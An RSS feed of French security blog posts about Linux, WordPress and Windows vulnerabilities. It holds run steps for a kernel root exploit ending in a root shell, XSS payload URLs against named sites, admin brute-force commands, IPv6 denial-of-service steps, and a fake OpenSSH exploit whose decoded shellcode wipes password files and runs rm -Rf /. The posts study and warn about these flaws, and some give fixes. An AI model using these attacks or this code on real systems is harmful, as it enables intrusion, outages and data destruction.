<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tux-planet &#187; exploit</title>
	<atom:link href="http://www.tux-planet.fr/tag/exploit/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tux-planet.fr</link>
	<description>Linux et les Logiciels Libres</description>
	<lastBuildDate>Tue, 07 Feb 2012 12:50:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Linux local root exploit via SUID</title>
		<link>http://www.tux-planet.fr/linux-local-root-exploit-via-suid/</link>
		<comments>http://www.tux-planet.fr/linux-local-root-exploit-via-suid/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 22:25:50 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[root]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4834</guid>
		<description><![CDATA[Un petit article rapide pour vous prévenir qu'une faille de sécurité circule en ce moment sur Internet. Celle-ci affecte les noyaux Linux dont la version est égale ou supérieure à la 2.6.39. Les versions récentes de Red Hat, Centos et Ubuntu sont concernées. Voici un exemple d'utilisation : $ wget www.tux-planet.fr/public/hack/exploits/kernel/mempodipper.c $ gcc mempodipper.c -o [...]<p><br/><hr><a href="http://www.tux-planet.fr/linux-local-root-exploit-via-suid/">Linux local root exploit via SUID</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" src="/public/images/icons/black-hat.png" alt="Black Hat" /><br />
Un petit article rapide pour vous prévenir qu'une faille de sécurité circule en ce moment sur Internet. Celle-ci affecte les noyaux Linux dont la version est égale ou supérieure à la 2.6.39.<br />
<span id="more-4834"></span><br />
Les versions récentes de Red Hat, Centos et Ubuntu sont concernées. Voici un exemple d'utilisation :</p>
<blockquote><p>$ wget www.tux-planet.fr/public/hack/exploits/kernel/mempodipper.c<br />
$ gcc mempodipper.c -o mempodipper<br />
$ ./mempodipper<br />
===============================<br />
= Mempodipper =<br />
= by zx2c4 =<br />
= Jan 21, 2012 =<br />
===============================</p>
<p>[+] Waiting for transferred fd in parent.<br />
[+] Executing child from child fork.<br />
[+] Opening parent mem /proc/6454/mem in child.<br />
[+] Sending fd 3 to parent.<br />
[+] Received fd at 5.<br />
[+] Assigning fd 5 to stderr.<br />
[+] Reading su for exit@plt.<br />
[+] Resolved exit@plt to 0x402178.<br />
[+] Seeking to offset 0x40216c.<br />
[+] Executing su with shellcode.<br />
sh-4.2# whoami<br />
root</p></blockquote>
<p>Les explications techniques sont lisibles ici, en anglais :<br />
<a href="http://blog.zx2c4.com/749">http://blog.zx2c4.com/749</a></p><p><br/><hr><a href="http://www.tux-planet.fr/linux-local-root-exploit-via-suid/">Linux local root exploit via SUID</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/linux-local-root-exploit-via-suid/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Grosse faille de sécurité dans le serveur d&#039;affichage Xorg 1.11</title>
		<link>http://www.tux-planet.fr/grosse-faille-de-securite-dans-le-serveur-daffichage-xorg-1-11/</link>
		<comments>http://www.tux-planet.fr/grosse-faille-de-securite-dans-le-serveur-daffichage-xorg-1-11/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 11:36:46 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[xorg]]></category>
		<category><![CDATA[xscreensaver]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4831</guid>
		<description><![CDATA[Une très grosse faille de sécurité vient d'être découverte dans le serveur d'affichage Xorg (version &#62;= 1.11), utilisé par la plupart des distributions GNU/Linux. Une combinaison de touches spéciale permet de déverrouiller l'écran de veille, sans avoir besoin de renseigner le mot de passe. Les touches à utiliser sont Alt + Ctrl + * . [...]<p><br/><hr><a href="http://www.tux-planet.fr/grosse-faille-de-securite-dans-le-serveur-daffichage-xorg-1-11/">Grosse faille de sécurité dans le serveur d'affichage Xorg 1.11</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" src="/public/images/icons/xorg.png" alt="Xorg" /><br />
Une très grosse faille de sécurité vient d'être <a href="http://permalink.gmane.org/gmane.comp.security.oss.general/6734">découverte</a> dans le serveur d'affichage Xorg (version &gt;= 1.11), utilisé par la plupart des distributions GNU/Linux. Une combinaison de touches spéciale permet de déverrouiller l'écran de veille, sans avoir besoin de renseigner le mot de passe.</p>
<p><span id="more-4831"></span></p>
<p><a href="/public/images/photos/informatique/linux/tux/suicide-tux.jpg" class="lightview" rel="gallery['4831']"><img class="aligncenter" src="/public/images/photos/informatique/linux/tux/suicide-tux-mini.jpg" alt="Linux se suicide" /></a></p>
<p>Les touches à utiliser sont <span class="shortcut">Alt</span> + <span class="shortcut">Ctrl</span> + <span class="shortcut">*</span> . Attention, il faut se servir du caractère étoile du pavé numérique pour que cela fonctionne. Côté technique, cette combinaison envoie tout simplement un signal qui fait un kill sur le processus d'économiseur d'écran.</p>
<p>J'ai pu tester cet exploit avec succès sur une Fedora 16 et l’économiseur d'écran Xscreensaver activé. Les versions que j'utilise sont les suivantes :</p>
<blockquote><p>$ rpm -qa | grep "xorg-x11-server-Xorg\|xscreensaver-base"<br />
xscreensaver-base-5.15-3.fc16.x86_64<br />
xorg-x11-server-Xorg-1.11.2-3.fc16.x86_64</p></blockquote>
<p>Cela devrait marcher aussi pour Debian Testing, Debian Sid, ainsi que dans Gentoo et Archlinux. En revanche, la faille ne fonctionne pas sous Ubuntu 11.10, car la version de Xorg est la 1.10 :</p>
<blockquote><p>$ Xorg -version<br />
X.Org X Server 1.10.4<br />
$ lsb_release -ds<br />
Ubuntu 11.10</p></blockquote>
<p>Bref, on critique souvent Windows &amp; Co pour ses failles de sécurité, mais là, je pense que GNU/Linux a fait très fort.</p><p><br/><hr><a href="http://www.tux-planet.fr/grosse-faille-de-securite-dans-le-serveur-daffichage-xorg-1-11/">Grosse faille de sécurité dans le serveur d'affichage Xorg 1.11</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/grosse-faille-de-securite-dans-le-serveur-daffichage-xorg-1-11/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>WPScan : un scanner de vulnérabilité pour WordPress</title>
		<link>http://www.tux-planet.fr/wpscan-un-scanner-de-vulnerabilite-pour-wordpress/</link>
		<comments>http://www.tux-planet.fr/wpscan-un-scanner-de-vulnerabilite-pour-wordpress/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 06:00:26 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4792</guid>
		<description><![CDATA[WPScan est un scanner de vulnérabilité pour WordPress, écrit en ruby et diffusé sous la licence GPL. Il est capable de lister les plugins utilisés par un site web et de vous donner les failles de sécurité associées. Vous pouvez également faire de la brute force sur l'interface d'administration. Pour installer WPScan sur une distribution [...]<p><br/><hr><a href="http://www.tux-planet.fr/wpscan-un-scanner-de-vulnerabilite-pour-wordpress/">WPScan : un scanner de vulnérabilité pour WordPress</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/wordpress-paper.png" alt="Wordpress Paper" class="aligncenter" /><br />
<a href="http://code.google.com/p/wpscan/">WPScan</a> est un scanner de vulnérabilité pour WordPress, écrit en ruby et diffusé sous la licence <acronym title="GNU General Public License">GPL</acronym>. Il est capable de lister les plugins utilisés par un site web et de vous donner les failles de sécurité associées. Vous pouvez également faire de la brute force sur l'interface d'administration.</p>
<p><span id="more-4792"></span></p>
<p><img src="/public/images/screenshots/software/wordpress/wordpress-space.jpg" alt="Wordpress Space" class="aligncenter" /></p>
<p>Pour installer WPScan sur une distribution à base de Debian, ouvrez un terminal en root et lancez les commandes suivantes :</p>
<blockquote><p>
sudo apt-get install ruby libcurl4-gnutls-dev libopenssl-ruby rubygems subversion<br />
sudo gem install typhoeus xml-simple
</p></blockquote>
<p>Ou pour une distribution à base de <acronym title="Red Hat Package manager">RPM</acronym> :</p>
<blockquote><p>
yum install ruby rubygem-xml-simple rubygem-typhoeus subversion
</p></blockquote>
<p>Ensuite, il faut récupérer le code source depuis le dépôt <acronym title="Subversion">SVN</acronym> officiel :</p>
<blockquote><p>
svn checkout http://wpscan.googlecode.com/svn/trunk/ ./wpscan<br />
cd wpscan
</p></blockquote>
<p>Pour finir, voici quelques exemples d'utilisation.</p>
<p>Lancer un simple audit :</p>
<blockquote><p>
ruby ./wpscan.rb --url www.example.com
</p></blockquote>
<p>Faire de la brute force sur l'interface d'administration, en utilisant un fichier de dictionnaire :</p>
<blockquote><p>
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin
</p></blockquote>
<p>Lister les plugins utilisés sur un site et afficher les failles de sécurité en relation :</p>
<blockquote><p>
ruby ./wpscan.rb --url www.example.com --enumerate p
</p></blockquote><p><br/><hr><a href="http://www.tux-planet.fr/wpscan-un-scanner-de-vulnerabilite-pour-wordpress/">WPScan : un scanner de vulnérabilité pour WordPress</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/wpscan-un-scanner-de-vulnerabilite-pour-wordpress/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Une faille dans Bash ?</title>
		<link>http://www.tux-planet.fr/une-faille-dans-bash/</link>
		<comments>http://www.tux-planet.fr/une-faille-dans-bash/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 07:30:10 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4728</guid>
		<description><![CDATA[Kirils Solovjovs vient de mettre en évidence un comportement de Bash un peu bizarre. En effet, dans certaines conditions, le shell a tendance à interpréter des noms de fichiers comme des arguments. Voici quelques explications. On crée quelques dossiers et fichiers : $ mkdir -p test &#038;&#038; cd test $ mkdir rep1 rep2 $ touch [...]<p><br/><hr><a href="http://www.tux-planet.fr/une-faille-dans-bash/">Une faille dans Bash ?</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/shellscript.png" alt="Shell" class="aligncenter" /><br />
<a href="http://seclists.org/fulldisclosure/2011/Sep/190">Kirils Solovjovs</a> vient de mettre en évidence un comportement de Bash un peu bizarre. En effet, dans certaines conditions, le shell a tendance à interpréter des noms de fichiers comme des arguments. Voici quelques explications.</p>
<p><span id="more-4728"></span></p>
<p><a href="/public/images/photos/informatique/linux/shells/man-woman.jpg" class="lightview" rel="gallery['4728']" title="Man Woman"><img src="/public/images/photos/informatique/linux/shells/man-woman-mini.jpg" alt="Man Woman" class="aligncenter" /></a></p>
<p>On crée quelques dossiers et fichiers :</p>
<blockquote><p>
$ mkdir -p test &#038;& cd test<br />
$ mkdir rep1 rep2<br />
$ touch fichier1 fichier2
</p></blockquote>
<p>Si on liste le contenu, on les retrouve sans problème :</p>
<blockquote><p>
$ ls<br />
fichier1  fichier2  rep1  rep2
</p></blockquote>
<p>Maintenant, on crée deux fichiers spécifiques et on observe le résultat :</p>
<blockquote><p>
$ touch -- -r -f<br />
$ ls<br />
-f  fichier1  fichier2  -r  rep1  rep2
</p></blockquote>
<p>On s'aperçoit que les fichiers -f et -r sont présents. Et ils peuvent être dangereux s'ils sont interprétés comme des arguments. On fait le test avec la commande rm et l'option -i qui permet de demander une confirmation avant suppression :</p>
<blockquote><p>
$ rm -i *<br />
$ ls<br />
-f  -r
</p></blockquote>
<p>Et là bingo. Le shell Bash les interprète bien comme des arguments, et au lieu de faire un rm -i, il fait carrément un rm -rf.</p>
<p>Bon cette faille n'est pas très dangereuse en elle-même, peu de gens feront cette erreur. Il faut quand même avoir l'idée de créer des fichiers nommés "-r" et "-f" avec la commande touch. Mais cela laisse un peu perplexe sur le comportement de Bash, qui ne fait pas la différence entre un nom de fichier et un argument.</p><p><br/><hr><a href="http://www.tux-planet.fr/une-faille-dans-bash/">Une faille dans Bash ?</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/une-faille-dans-bash/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Une faille XSS dans WordPress 3.1 et 3.2.1</title>
		<link>http://www.tux-planet.fr/une-faille-xss-dans-wordpress-3-1-et-3-2-1/</link>
		<comments>http://www.tux-planet.fr/une-faille-xss-dans-wordpress-3-1-et-3-2-1/#comments</comments>
		<pubDate>Fri, 26 Aug 2011 18:43:31 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4695</guid>
		<description><![CDATA[Une vulnérabilité vient d'être découverte dans les dernières versions de WordPress. Il s'agit d'une faille de type XSS présente dans la fonction de recherche et qui affecte certains thèmes uniquement. Pour contrer ce type d’attaque, la solution est de modifier le code du fichier search.php. Voici deux exemples d'utilisation. Pour WordPress version 3.2.1 : http://www.futurefisherman.org/?s=%3CIMG%20%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSS%22%29%3C/SCRIPT%3E%22%3E [...]<p><br/><hr><a href="http://www.tux-planet.fr/une-faille-xss-dans-wordpress-3-1-et-3-2-1/">Une faille XSS dans WordPress 3.1 et 3.2.1</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/wordpress-paper.png" alt="Wordpress Paper" class="aligncenter" /><br />
Une vulnérabilité vient d'être découverte dans les dernières versions de WordPress. Il s'agit d'une faille de type <acronym title="Cross-Site Scripting">XSS</acronym> présente dans la fonction de recherche et qui affecte certains thèmes uniquement. Pour contrer ce type d’attaque, la solution est de modifier le code du fichier search.php.</p>
<p><span id="more-4695"></span></p>
<p><a href="/public/images/photos/informatique/hack/i-am-a-hacker.jpg" class="lightview" rel="gallery['4695']"><img src="/public/images/photos/informatique/hack/i-am-a-hacker-mini.jpg" alt="I'm a hacker" class="aligncenter" /></a></p>
<p>Voici deux exemples d'utilisation. Pour WordPress version 3.2.1 :</p>
<blockquote>
<p>http://www.futurefisherman.org/?s=%3CIMG%20%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSS%22%29%3C/SCRIPT%3E%22%3E</p>
</blockquote>
<p>Et pour WordPress 3.1 : </p>
<blockquote>
<p>http://blogs.comodo.com/?s=%3Cimg%20src=http://www.tux-planet.fr/public/hack/images/no-permission.jpg%20align=center%3E</p>
</blockquote>
<p>Si vous êtes vulnérable à cette faille, voici une solution donnée par <a href="http://aryo.fr/2011/08/faille-xss-dans-certains-themes-wordpress/">Aryo</a> :</p>
<ol>
<li>Allez dans "Apparence &gt; Editeur" dans l’administration <acronym title="WordPress">WP</acronym></li>
<li>Choisissez "Résultats de recherche (search.php)"</li>
<li>Trouvez la ligne qui correspond à l’affichage de la requête. Par exemple "Résultat de la recherche pour "&lt;?php echo $s; ?&gt;"</li>
<li>On aperçoit qu’en effet, l’affichage n’est pas protégé, alors on s’en charge. Remplacez &lt;?php echo $s; ?&gt; par &lt;?php echo htmlspecialchars($s); ?&gt;</li>
<li>Vérifiez que la faille n’est plus exploitable</li>
</ol>
<p><a href="http://st2tea.blogspot.com/2011/08/wordpress-31-321-cross-site-scripting.html">Source</a></p><p><br/><hr><a href="http://www.tux-planet.fr/une-faille-xss-dans-wordpress-3-1-et-3-2-1/">Une faille XSS dans WordPress 3.1 et 3.2.1</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/une-faille-xss-dans-wordpress-3-1-et-3-2-1/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Comment décoder ou desassembler un shellcode sous Linux</title>
		<link>http://www.tux-planet.fr/comment-decoder-ou-desassembler-un-shellcode-sous-linux/</link>
		<comments>http://www.tux-planet.fr/comment-decoder-ou-desassembler-un-shellcode-sous-linux/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 06:00:53 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4591</guid>
		<description><![CDATA[Un shellcode est une chaîne de caractères que l'on injecte en mémoire, afin d’exécuter du code en dehors de l'espace normalement alloué. Cette technique est utilisée dans le monde du piratage informatique, car elle permet aux personnes malveillantes de lancer des actions sur des machines, après avoir trouvé une faille de sécurité (de type Buffer [...]<p><br/><hr><a href="http://www.tux-planet.fr/comment-decoder-ou-desassembler-un-shellcode-sous-linux/">Comment décoder ou desassembler un shellcode sous Linux</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/binary.png" alt="Binary" class="aligncenter" /><br />
Un shellcode est une chaîne de caractères que l'on injecte en mémoire, afin d’exécuter du code en dehors de l'espace normalement alloué. Cette technique est utilisée dans le monde du piratage informatique, car elle permet aux personnes malveillantes de lancer des actions sur des machines, après avoir trouvé une faille de sécurité (de type Buffer Overflow).</p>
<p><span id="more-4591"></span></p>
<p>Sur Internet, on tombe parfois sur des hackers qui se vantent d'avoir trouvé une faille de sécurité dans un logiciel et propose d'utiliser leur exploit. On peut prendre l'exemple de Chroniccommand, qui le 26 janvier 2011 <a href="http://pastebin.com/sg77hWrg">a publié</a> un exploit 0day pour OpenSSH :</p>
<pre>
/*
openSSH 5.7 0day exploit
Off by One error in auth2-pubkey.c
Author: Chroniccommand
Usage: ./exploit &lt;host&gt; &lt;ip&gt;
greetz to _st4ck3d*, x3n0n, xin etc you know who you are
*/
#include &lt;stdio.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;

void usage(char *argv[])
{
  printf("Usage: %s &lt;target&gt; &lt;port&gt;\n", argv[0]);
  exit(1);
}

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();
  exit(1);
  char payload[1024];
  memcpy(payload, &#038;shellcode, sizeof(shellcode));
  if(connect(sock,(struct sockaddr*)&#038;addr,sizeof(addr))==0)
  {
    printf("[+]Got shell\n");
    system("/bin/sh");
  }
  else if(connect(sock,(struct sockaddr*)&#038;addr, sizeof(addr))==-1)
  {
    fprintf(stderr, "[!!]Exploit failed\n");
    exit(1);
  }
}
</pre>
<p>C'est dans ce genre de situation qu'il est intéressant de savoir comment décoder un shellcode, afin de bien comprendre les actions effectuées par le code, plutôt que de l'exécuter bêtement. Dans le cas ci-dessus, on va dans un premier temps mettre le shellcode sur une seule ligne :</p>
<blockquote><p>
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"
</p></blockquote>
<p>Puis, on va lancer les deux commandes suivantes pour le décoder :</p>
<blockquote><p>
$ perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' &gt; code</p>
<p>$ strings code<br />
Rfh-c<br />
h/sh<br />
h/bin<br />
echo "" &gt; /etc/shadow ; echo "" &gt; /etc/passwd ; rm -Rf /
</p></blockquote>
<p>L'exploit de Chroniccommand est donc un fake plutôt dangereux. Si une personne s'aventure à l'exécuter, son système sera entièrement effacé par les commandes suivantes :</p>
<blockquote><p>
echo "" &gt; /etc/shadow<br />
echo "" &gt; /etc/passwd<br />
rm -Rf /
</p></blockquote>
<p>Il faut donc rester vigilant à ce que l'on trouve dans le monde de l'underground. Pour ma part, j'analyse toujours le code avant de l'exécuter dans une machine virtuelle dédiée, afin de me prémunir de tout risque.</p>
<p><a href="http://www.r00ted.com/doku.php?id=rapide_analyse_fake_0day">Source</a></p><p><br/><hr><a href="http://www.tux-planet.fr/comment-decoder-ou-desassembler-un-shellcode-sous-linux/">Comment décoder ou desassembler un shellcode sous Linux</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/comment-decoder-ou-desassembler-un-shellcode-sous-linux/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>La faille DOS IPv6 Neighbor Discovery pour Windows</title>
		<link>http://www.tux-planet.fr/la-faille-dos-ipv6-neighbor-discovery-pour-windows/</link>
		<comments>http://www.tux-planet.fr/la-faille-dos-ipv6-neighbor-discovery-pour-windows/#comments</comments>
		<pubDate>Sun, 27 Mar 2011 09:14:56 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[ipv6]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4593</guid>
		<description><![CDATA[Une nouvelle faille de sécurité vient d'être découverte dans le protocole Neighbor Discovery d'IPv6. Elle permet de faire planter, à distance, toutes les machines Windows (version XP, Vista, Seven, Server 2003 et 2008) d'un réseau. Certains équipements Cisco et 3DM sont également impactés. L'exploitation de cette faille est plutôt simple, surtout si l'on se sert [...]<p><br/><hr><a href="http://www.tux-planet.fr/la-faille-dos-ipv6-neighbor-discovery-pour-windows/">La faille DOS IPv6 Neighbor Discovery pour Windows</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/shutdown2.png" alt="Shutdown" class="aligncenter" /><br />
Une nouvelle <a href="http://samsclass.info/ipv6/proj/flood-router6a.htm">faille de sécurité</a> vient d'être découverte dans le protocole Neighbor Discovery d'IPv6. Elle permet de faire planter, à distance, toutes les machines Windows (version XP, Vista, Seven, Server 2003 et 2008) d'un réseau. Certains équipements Cisco et 3DM sont également impactés.</p>
<p><span id="more-4593"></span></p>
<p><img src="/public/images/photos/informatique/windows/vista-bsod.jpg" alt="BSOD Windows Vista" class="aligncenter" /></p>
<p>L'exploitation de cette faille est plutôt simple, surtout si l'on se sert de l'utilitaire flood_router6 présent dans le logiciel Thc-ipv6.</p>
<p>Voici un exemple d'utilisation sous Ubuntu :</p>
<blockquote><p>
sudo apt-get install libpcap0.8-dev libssl-dev<br />
wget http://freeworld.thc.org/releases/thc-ipv6-1.4.tar.gz<br />
tar zxvf thc-ipv6-*.tar.gz &#038;& rm -f thc-ipv6-*.tar.gz<br />
cd thc-ipv6-*<br />
make<br />
sudo ./flood_router6 eth0
</p></blockquote>
<p>Chez moi, tous les Windows 7 ont planté. Mais pire encore, l'iPhone de ma copine semble également avoir été touché (plantage du téléphone alors qu'elle jouait à un jeu...).</p>
<p>Les machines Linux ont parfaitement résisté pour une fois. Pour les systèmes Windows, la seule parade à cette attaque est de mettre à jour votre machine ou de désactiver IPv6. </p>
<p>La commande <acronym title="Microsoft">MS</acronym>-DOS suivante doit le permettre (non testée) :</p>
<blockquote><p>
netsh interface ipv6 set interface "Local Area Connection" routerdiscovery=disabled
</p></blockquote><p><br/><hr><a href="http://www.tux-planet.fr/la-faille-dos-ipv6-neighbor-discovery-pour-windows/">La faille DOS IPv6 Neighbor Discovery pour Windows</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/la-faille-dos-ipv6-neighbor-discovery-pour-windows/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>Local Root exploit by Nelson Elhage</title>
		<link>http://www.tux-planet.fr/local-root-exploit/</link>
		<comments>http://www.tux-planet.fr/local-root-exploit/#comments</comments>
		<pubDate>Tue, 07 Dec 2010 23:04:58 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4507</guid>
		<description><![CDATA[Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. La vulnérabilité affecte les distributions Linux basées sur des versions inférieures à la 2.6.37 du kernel. Le seul moyen de contrer cette attaque est de mettre à jour votre système. [...]<p><br/><hr><a href="http://www.tux-planet.fr/local-root-exploit/">Local Root exploit by Nelson Elhage</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/microbe.png" alt="Hacking" class="aligncenter" /><br />
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. La vulnérabilité affecte les distributions Linux basées sur des versions inférieures à la 2.6.37 du kernel.</p>
<p><span id="more-4507"></span></p>
